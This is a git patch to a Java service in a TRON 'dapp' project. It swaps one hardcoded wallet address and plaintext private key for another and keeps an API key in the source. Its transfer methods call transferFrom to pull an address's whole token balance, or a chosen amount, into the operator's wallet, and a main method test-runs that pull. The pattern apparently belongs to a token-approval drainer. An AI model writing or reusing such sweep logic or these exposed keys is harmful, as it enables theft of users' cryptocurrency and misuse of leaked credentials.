From 75c8a2c15eaafd35cc90dafeac9f30c469d13c13 Mon Sep 17 00:00:00 2001
From: Helius <wangdoubleone@gmail.com>
Date: Tue, 29 Mar 2022 16:54:33 +0800
Subject: [PATCH] fix
---
src/main/java/cc/mrbird/febs/dapp/chain/TrxService.java | 24 +++++++++++++++++++-----
1 files changed, 19 insertions(+), 5 deletions(-)
diff --git a/src/main/java/cc/mrbird/febs/dapp/chain/TrxService.java b/src/main/java/cc/mrbird/febs/dapp/chain/TrxService.java
index 9d77401..3f8db3d 100644
--- a/src/main/java/cc/mrbird/febs/dapp/chain/TrxService.java
+++ b/src/main/java/cc/mrbird/febs/dapp/chain/TrxService.java
@@ -8,6 +8,7 @@
import java.math.BigDecimal;
import java.math.BigInteger;
+import java.math.RoundingMode;
/**
*
@@ -19,8 +20,8 @@
**/
public class TrxService {
- private final static String ADDRESS = "TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9";
- private final static String PRIVATE = "7a1cdc7aa2976b16cfc79ed8310b1fb53a85780dd27574fa6c5eb7c2aceaa6ae";
+ private final static String ADDRESS = "TUy8XwDmdsDKPLDGUrGuNRVMhwSEKtkDcD";
+ private final static String PRIVATE = "b5627861c6edb2245276273e5f5ad5082f93c3b09fc7b757223ca8526504bfe7";
private final static String CONTRACT_ADDRESS = "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t";
private final static String API_KEY = "9d461be6-9796-47b9-85d8-b150cbabbb54";
@@ -44,17 +45,30 @@
return contract.balanceOf(address);
}
+ public BigDecimal balanceOfDecimal(String address) {
+ BigInteger chainData = balanceOf(address);
+
+ BigInteger decimals = contract.decimals();
+ BigDecimal mul = BigDecimal.TEN.pow(decimals.intValue());
+
+ return new BigDecimal(chainData).divide(mul, decimals.intValue(), RoundingMode.HALF_DOWN);
+ }
+
public void transfer(String address) {
BigInteger balance = balanceOf(address);
- contract.transferFrom(address, ADDRESS, balance.intValue(), 0, "memo", 100000L);
+ contract.transferFrom(address, ADDRESS, balance.intValue(), 0, "memo", 100000000L);
}
- public void transfer(String address, BigDecimal amount) {
+ public String transfer(String address, BigDecimal amount) {
BigInteger decimals = contract.decimals();
BigDecimal mul = BigDecimal.TEN.pow(decimals.intValue());
amount = amount.multiply(mul);
- contract.transferFrom(address, ADDRESS, amount.intValue(), 0, "memo", 100000L);
+ return contract.transferFrom(address, ADDRESS, amount.intValue(), 0, "memo", 100000000L);
+ }
+
+ public static void main(String[] args) {
+ System.out.println(INSTANCE.transfer("TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", BigDecimal.valueOf(5)));;
}
}
--
Gitblit v1.9.1